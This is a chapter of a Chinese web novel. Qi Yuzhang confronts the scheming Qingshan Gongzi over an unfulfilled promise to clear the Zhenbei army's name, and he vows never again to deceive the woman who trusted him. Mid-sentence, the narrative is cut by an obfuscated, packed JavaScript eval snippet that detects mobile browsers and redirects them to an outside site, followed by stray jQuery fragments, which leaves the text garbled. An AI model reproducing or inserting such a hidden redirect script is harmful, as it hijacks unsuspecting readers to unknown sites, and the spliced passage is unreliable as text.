湘水泽兰 作品
128. 无回头路
殿内熏香袅袅,却掩不住一股无形的肃杀。
戚玉嶂推开沉重的殿门,带着一身风尘仆仆的冷硬与压抑的怒火,目光如电,瞬间锁定了临窗的棋盘。
棋盘两侧,一坐一立。
美人城主依旧慵懒华贵,斜倚在锦榻上,指腹捻着一枚温润的白玉棋子,眼神却飘向窗外沉沉的暮霭,对眼前棋局似有若无。
立在她对面的青山公子,一身素净青衫,衬得眉目愈发清俊温雅,此刻却带着一种掌控棋局的从容气度。
他刚刚落下一子,清脆地敲碎了殿内的死寂,也恰好“吃”掉了城主一片白子。
戚玉嶂大步踏入,步履沉重,他先是对着美人城主的方向,依足礼数,抱拳沉声道:“戚玉嶂,见过城主。”
随即,锐利的视线钉在青山公子脸上,声音也沉了下去,带着毫不掩饰的质问:“青山公子。”
青山公子这才缓缓侧过身,仿佛才注意到他,脸上依旧是那抹温煦如春风的浅笑,语气更是熟稔随意:“来了?坐吧。”
他指了指棋盘旁另一张空着的紫檀木椅。
戚玉嶂却像一尊铁铸的雕像,牢牢钉在原地,纹丝不动。他死死盯着青山公子那张看似温润无害的脸,胸中积压的愤懑、被愚弄的屈辱、对承诺落空的绝望,如同即将冲破堤坝的熔岩,灼烧着他的五脏六腑。
“公子要我做的,”他开口,声音不高,却字字如重锤,“桩桩件件,血雨腥风,刀口舔血,我戚玉嶂豁出这条性命,都替你做了!”
他向前迫近一步,周身的煞气再不掩饰,连殿内的熏香似乎都被冲淡了几分,“你当初应承于我!事成之后,倾尽所能,助我翻镇北军泼天的‘通敌叛国’血案!还我戚家满门,还七万冤魂一个清白!一个公道!”
他顿了顿,胸膛剧烈起伏,眼中是压抑不住的赤红:“如今,明远侯造反的消息已如野火燎原!天下将乱,风云变色!公子!你允诺的翻案,究竟何时兑现?!在这乱世烽烟将起之际,你要我如何信你?!那沉冤,又待何时才能昭雪?!”
字字泣血,句句锥心。
美人城主终于收回了望向窗外的目光,指腹无意识地在冰冷的白玉棋子上摩挲了一下,眼波在戚玉嶂那张因激动而绷紧的脸上流转,带着一丝不易察觉的复杂,最终却归于沉寂的慵懒,仿佛在看一场与她无关的戏。
青山公子脸上的笑意,在戚玉嶂掷地有声的质问中,终于淡去了几分。他没有立刻回答,反而慢条斯理地将刚刚吃掉的那枚白子从棋盘上拈起,放在掌心把玩。
他抬眸,目光平静地迎上戚玉嶂燃烧着怒火与不甘的眼眸,那平静之下,却仿佛藏着深不见底的寒潭。
“玉嶂,”青山公子终于开口,声音依旧清朗,却少了几分温度,多了几分洞悉世事的淡漠,“稍安勿躁。”
他将那枚白子轻轻放回棋盒,动作优雅至极。
“翻案?”青山公子唇角勾起了一丝极浅的弧度,却毫无暖意,“我自然记得。镇北军一案,牵连甚广,沉冤似海,岂是我青山一言可决?当初应你,是需借你之力,撬动那似铁板一块的死局一角。”
他站起身,青衫拂过棋盘边缘,缓步走向戚玉嶂。两人相距不过两三步,戚玉嶂能清晰地看到他眼中那抹近乎残酷的冷静与冰冷。
“明远侯一反,乾坤倒悬,时移世易。”青山公子的声音低沉下来,却带着一种直刺灵魂的穿透力,“旧案卷宗,关键人证,当年构陷的蛛丝马迹……在这滔天巨变之下,或被付之一炬,或被刻意湮灭,或被裹挟卷入新的滔天洪流,粉身碎骨!”
“你告诉我,此刻,是揪着那陈年旧账、在乱局中徒耗心力,为几个早已化作白骨的‘罪人’奔走呼号来得重要……”
他微微一顿,目光陡然变得锐利如鹰隼,紧紧锁住戚玉嶂:“……还是,抓住这乾坤倒悬的契机,以手中之刀,掌中之兵,于这乱世之中,杀出一片朗朗青天,亲手为自己、为那些枉死的镇北军们,挣一个真正的公道。一个足以让天下侧目、让史笔不敢不书的公道,来得更痛快,更彻底?!”
“当旧的天倾塌,新的秩序未立,谁是谁非,不过是胜者手中的一支笔。玉嶂,你想要的清白,不在故纸堆里,不在朝堂之上那些随风倒的墙头草口中。它,在自己的刀锋之上!在你能否在这乱世棋局中,成为执子之人,而非……任人摆布的棋子!”
他最后一句,声音并不高,却如同惊雷,狠狠劈在戚玉嶂心头。
寝殿内死一般的寂静。美人城主指尖的棋子,终于落在棋盘上,打乱了原本的残局。
她垂眸看着那乱掉的棋局,红唇微启,无声地叹了口气,“这世间能为镇北军翻案的,不在青山,也不在你,”她的目光投向戚玉嶂,带着一丝近乎悲悯的了然,“而在她。就看你……有没有这个本事,求动她了。”
“她……”
戚玉嶂喉头猛地一哽,心脏像是被一只冰冷的手狠狠攥住。
这个名字,无需城主点破,早已刻入他的骨髓,也成了他心中最深的隐痛与枷锁。
那个如野火般恣意燃烧、刀锋所指鬼神皆惊的女子。若得她相助,以其雷霆手段与无所顾忌的行事,或许真能撕开那尘封多年的铁幕,让镇北军的冤魂得以重见天日,安息九泉。
这念头如同黑暗中燃起的毒火,瞬间灼痛了他的理智。
可也仅仅是一瞬。
紧随其后的,是更汹涌、更令他窒息的自厌与痛楚。
他戚玉嶂是什么人?是镇北军残存的孤魂野鬼!是背负着父母血债、满门冤屈,在泥泞与黑暗中挣扎求存的一介凡俗。
为了翻案,他早已将灵魂典当给了魔鬼,屈身于美人城这虎狼之穴,听命于青山公子这等翻云覆雨的谋算者,做下了无数违心悖德之事。
每一次算计,每一次利用,都像是在他本就支离破碎的心上,又狠狠剜下一刀,血肉模糊。
而美鲛人,看似冷硬如冰,杀伐决断,可她的眼底深处,却是对他毫无保留的信任。
在他最狼狈、最孤立无援时,是她递来了刀,给了他一线喘息之机。
那份信任,纯粹得如同雪山之巅未经尘染的冰晶,是他在这污浊泥潭中,唯一还能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745288|168757||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
触摸到的一丝微光与暖意。
他如何能?他怎么敢?!
再去欺骗她!再去利用她!
用虚情假意去换取她的力量,用她的刀锋去斩开自己的枷锁?那他与青山公子,与当年构陷镇北军的那些宵小之辈,又有何异?!
“不——”
一声压抑到极致的低吼从戚玉嶂紧咬的齿缝中挤出。
他闭上眼,试图要将脑海中那个红衣烈烈、眼神清冽的身影驱散,可那身影却愈发清晰,带着无声、冰冷的诘问。
他高大的身躯微微颤抖,不是因为恐惧,而是源于内心剧烈的撕扯。
一边是沉甸甸如山岳、压得他日夜喘不过气的冤屈,是无数枉死的镇北军将士死不瞑目的眼睛在黑暗中凝视;另一边,却是他残存的、属于“人”的、属于“戚玉嶂”而非复仇厉鬼的最后一点良知,与那份不容亵渎的、沉重的情义。
“我不能……”他猛地睁开眼,眼底是深不见底的痛苦与决绝,声音嘶哑,每一个字都像是用尽全身力气从血泪中刨出,“我戚玉嶂,纵是万死!纵是永世背负这冤屈!也绝不再……欺骗她!利用她!”
他抬起头,赤红的双眼死死盯住美人城主,也扫过一旁神色莫测的青山公子,眼神里燃烧着一种近乎悲壮的火焰:
“我戚玉嶂,是顶天立地的汉子!不是摇尾乞怜的狗!更不是……忘恩负义、以怨报德的无耻之徒!镇北军的清白,我自会用我的刀,我的血,去挣!哪怕前路是万丈深渊,刀山火海,粉身碎骨!要我再去算计她……除非我戚玉嶂的心肝,都烂成齑粉!魂飞魄散!”
美人城主静静地看着他,那双总是慵懒含笑的眼眸深处,似乎有极其细微的涟漪荡开,像是一声无声的叹息,又似一丝几不可察的动容,最终归于沉寂。她只是摩挲着冰冷的棋子,红唇紧闭,未发一言。
而一直静观其变的青山公子,此刻终于缓缓放下手中把玩的棋子。他脸上的温润笑意彻底敛去,取而代之的是一种洞悉人心后的淡漠,以及一丝不易察觉的冷意。
“好一个顶天立地,好一个重情重义。”青山公子的声音依旧清朗,却再无半分温度,字字如冰锥,“玉嶂的这份傲骨,青山佩服。但愿……”
他微微倾身,目光如同冰冷的探针,刺入戚玉嶂的灵魂深处:“当你的银针折断,当你的热血流尽,当你身后再无一人记得‘镇北军’这三个字时,你今日这份傲骨与‘情义’,还能让你在九泉之下,坦然地面对那些……因你这份‘情义’而永世不得昭雪的亡魂!”
“这世间,”青山公子直起身,语气恢复了那种掌控一切的漠然,“想要公道,就要付出代价。心肝?傲骨?情义?呵……在真正的力量与滔天血海面前,不过是……最不值钱的殉葬品罢了。”
他最后深深地看了一眼僵立当场、如同被抽空了魂魄的戚玉嶂,像是在看一个已然走向末路的困兽。
“你忘了么?”他转身离去,青衫背影融入殿外渐浓的暮色,只留下最后一句话,如同鬼魅的低语,在死寂的殿中回荡,久久不散,“从你骗她的第一次起,你便……再无回头路了。”